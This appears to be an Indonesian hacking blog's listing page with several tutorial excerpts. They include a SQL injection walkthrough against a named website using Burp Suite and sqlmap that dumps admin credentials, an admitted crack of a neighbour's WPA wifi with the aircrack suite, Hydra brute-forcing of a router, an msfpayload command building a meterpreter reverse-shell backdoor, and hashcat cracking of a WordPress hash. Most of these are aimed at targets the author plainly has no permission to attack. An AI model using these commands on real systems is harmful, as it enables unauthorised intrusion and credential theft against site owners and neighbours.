Pentesting Sql Injection With Burpsuite and Sqlmap

Welcome back dude.
January is my special month, especialy today. I'm happy =))

Oke, langsung ke pembahasan. Saya akan membagikan sedikit tambahan tentang kombinasi antara kemanfaatan dua tool yang kadang saya gunakan untuk mendapatkan target saya.

• Burpsuite
• Sqlmap

Disini adalah kebingungan ketika kita mencari letak vulnerable parameter yang dikirimkan ke server karena si victim menggunakan basis data html. Maka step pertama yang saya lakukan adalah mencari tempat login si admin.
Oke, saya anggap kamu sudah mengetahui tempat loginnya.

Setting dulu kedua alat tadi, seperti ini.

Firefox -> Edit -> Preferences -> Advanced -> Network -> Setting -> Pilih Manual Proxy Configuration. Set HTTP PROXY dengan 0.0.0.0 dan PORT 8080

Burpsuite -> Tab Proxy -> Intercept -> Intercept is off


Login, agar burpsuite mencatat http request yang dikirim ke server dari website target

 

Treng!! username or password is incorrect, hahaha. Tidak apa-apa karena burpsuite sudah mencatat datanya.

Block tulisan seperti diatas, lalu tekan CTRL+ I
Pergi ke Intruder, kamu akan melihat catatan data tadi.
Kemudian Setting tab Position dan Payloads seperti gambar dibawah

 

Block data yang dikirim oleh parameter username dan password saja

Set payload type menjadi Runtime file dan load file bypass sql injection injection kamu.
Jika sudah klik menu Intruder -> Start attack

Respon 200 dan 302 disini hampir sama-sama memberikan hasil yang positif walaupun tidak semua, periksa lagi jika kamu melakukannya pada lain target.

Saya ambil seperti hasil scan diatas, dan mencoba login kembali

Username : ' or 1=1 limit 1 -- -+
Password  : ' or 1=1 limit 1 -- -+

Hasil dari login menunjukkan bahwa target mempunyai celah sql injection

Sampai disini kamu telah mengetahui letak yang bisa di inject. Step selanjutnya mari gunakan sqlmap
Kembali ke http respond, kita copy data yang dikirim ke server tadi

• username=admin&password=admin&Input=Submit

sqlmap -u "http://eassenugu.com/rear/proccess_login.php" --data "username=admin&password=admin&Input=Submit" -p username --dbms mysql --dbs

Snip.. Snipp..

Saat mencari isi database, tables, columns tidak saya gambarkan disini, karena terlalu panjang

DB : digitav2_easse
Tables : setup
Columns : username,password

sqlmap -u "http://eassenugu.com/rear/proccess_login.php" --data "username=admin&password=admin&Input=Submit" -p username --dbms mysql -D digitav2_easse -T setup -C username,password --dump

username : admin, password : website. Untuk membuktikannya coba login kembali

Yeah, you now admin !!

Thanks : R-N for today =)) 

Read More

[ Hydra ] Hacking Modem Router Password

Hai kamu... ya kamu =)) =))
Postingan kali ini adalah kelanjutan dari post sebelumnya, yang kemarin saya jelaskan bagaimana mendapatkan password wi-fi. Sekarang saya akan tunjukkan bagaimana mendapatkan hak akses tertinggi wi-fi dengan cara menembus password router.

Oke, requirement tools

• Brain
• Hydra ( Available on Backtrack & Kali Linux ) 

Langsung saja

Checking koneksi dahulu

iwconfig wlan0

Next step, saya akan menggunakan hydra untuk bruteforce password.

hydra -l admin -P wordlist/listpassword.txt 192.168.1.1 http-get -m /

Jika berhasil akan tampak seperti ini

Keterangan :

• l               : username
• P              : path list password
• http-get   : script yang digunakan untuk brute router
• m             :  tidak diikut sertakan, tidak masalah

Untuk kebenaran tool, mari kita cocokkan

w00tz!! router taken over, selanjutnya merubah password,ssid atau lainnya terserah kamu =))

Read More

Hacking Password Wifi (WEP,WPA,WPA2)

Haloo pemirsa..
Kali ini saya akan mem-post artikel bagaimana cara membobol password wifi. Bermula dari signal speed yang akhir ini sangat lemot di daerah saya, akhirnya saya berinisiatif membobol wifi tetangga. Bisa saya sebut dengan wifi imigration, hehe.

Walkthrough.

Pertama saya melakukan "Scanning SSID" untuk mencatat beberapa informasi seperti essid,bssid,dan channel.

iwlist [interface ] scanning

root@dani:[~]# iwlist wlan0 scanning

 

* Kotak merah adalah bssid target

Langkah kedua adalah menghentikan interface yang sedang berjalan, agar tidak mengganggu saat menggunakan proses airodump dan aireplay.

root@dani:[~]# airmon-ng check kill

Lanjutkan dengan perintah

airmon-ng start [ interface ]

root@dani:[~]# airmon-ng start wlan0

Pesan (monitor mode enabled on mon0) menunjukkan bahwa interface baru saya adalah mon0

Kemudian jalankan perintah airodump-ng untuk me-monitor dan menyimpan hasil yang nanti akan kamu pecahkan passwordnya

airodump-ng --write Wifi-ku --channel 1 --bssid F4:EC:38:C5:1C:C4 mon0

Biarkan berjalan, buka terminal baru lalu masukkan perintah aireplay-ng untuk mendapatkan WPA handshake

aireplay-ng -0 1 -a F4:EC:38:C5:1C:C4 -c 44:6D:57:79:82:C6 -e Wif-ku mon0

* Option -c diisi dengan Station yang muncul

Jika berhasil akan tampak seperti gambar dibawah

 

Jika sudah mendapatkan WPA handshake hentikan proses menggunakan ctrl+c.

Last step, memecahkan file yang berisi password wifi menggunakan aircrack-ng

aircrack-ng [ .cap file ] -w [ wordlist password ]

aircrack-ng Wifi-ku-01.cap -w wordlist/small-list.txt

Password cracked =))

Read More

Metasploit - Standard Exploit to Get Meterpreter

Standard exploit seperti potongan judul diatas, yang bisa diartikan "exploit biasa" dalam metasploit ( contoh dasar dalam menjalankan exploitasi pada sistem target ) karena didalam peng-exploitan ini saya tidak melibatkan encoder , penghindaran karakter, dll. Hanya exploit yang dijalankan oleh metasploit sendiri.

Oke tanpa basa-basi lagi, mari membuat backdoor dengan bantuan msfpayload 

root@dani:[~]# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.13.115 LPORT=4444 X > /root/Desktop/backdoor.exe

 

Read More

[Sha-256] HashCat vs John The Ripper

Halo pembaca Kill -9 Security =)

Kali ini saya akan menguji kelebihan dari dua tool offline password attack dengan menggunakan enkripsi sha-256 . Dari beberapa blog mungkin kamu pernah melihat yang di uji adalah enkripsi MD5 dan hasil yang diberikan hampir semua seimbang.
Untuk mengetahui kelebihan secara lebih , saya akan mencobanya 

Hashcat (ada di Back|Track & Kali Linux )

John The Ripper (ada di Back|Track & Kali Linux )

Dengan masing-masing tool menggunakan versi yang terbaru.
Versi untuk Hashcat

 

Read More

[SOLVED] ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2)

Mungkin kamu pernah mengalami pernyataan error seperti ini

 

Salah satu penyebabnya adalah tidak adanya file pada /path/mysql.sock.

Untuk proses fix nya , jalankan perintah 

 ┌─[ dani ]─( ~/Desktop )
 └─> ln -s /opt/lampp/var/mysql/mysql.sock /var/run/mysqld/mysqld.sock

Jalankan kembali mysql kamu =)

by Altiiever

Read More

[ PHPpass ] MD5 Wordpress & Hashcat

Ada beberapa kendala saat kalian mencoba masuk ke website target , salah satunya bertemu dengan hash yang memuat symbolic yang seperti ini

$P$B0.04RLbydgW.GCmIBjU.HnwBe/kFj1

Oke, untuk memecahkannya, saya akan membutuhkan 2 tool berikut

1. Hash-identifier ( ada di Back|track & Kali Linux )
2. Hashcat ( ada di Back|track & Kali Linux )

Kita test, jenis apakah hash tersebut. Kebetulan OS yang saya gunakan adalah Kali Linux.

   Applications  > Kali Linux > Password Attacks > Offline Attacks > hash-identifier

Ya, sudah jelas bahwa hash diatas adalah jenis hash wordpress, jalankan hashcat.

  Applications  > Kali Linux > Password Attacks > Offline Attacks > hashcat

Saya menggunakan perintah 

hashcat -m [ tipe hash ] -a [ mode pemecahan ] hashfile [ wordlist ]
 

┌─[ dani ]─( ~/Desktop )
└─> hashcat -m 400 -a 0 hash.txt /root/wordlist/rockyou.txt 

Note : -m 400 karena jenis hash wordpress di hashcat terletak pada options ke 400 dan -a 0 karena saya menggunakan cara straight.

Hash dari  $P$B0.04RLbydgW.GCmIBjU.HnwBe/kFj1 adalah theoriginalbadsmoker .

Password Cracked !

by Altiiever

Read More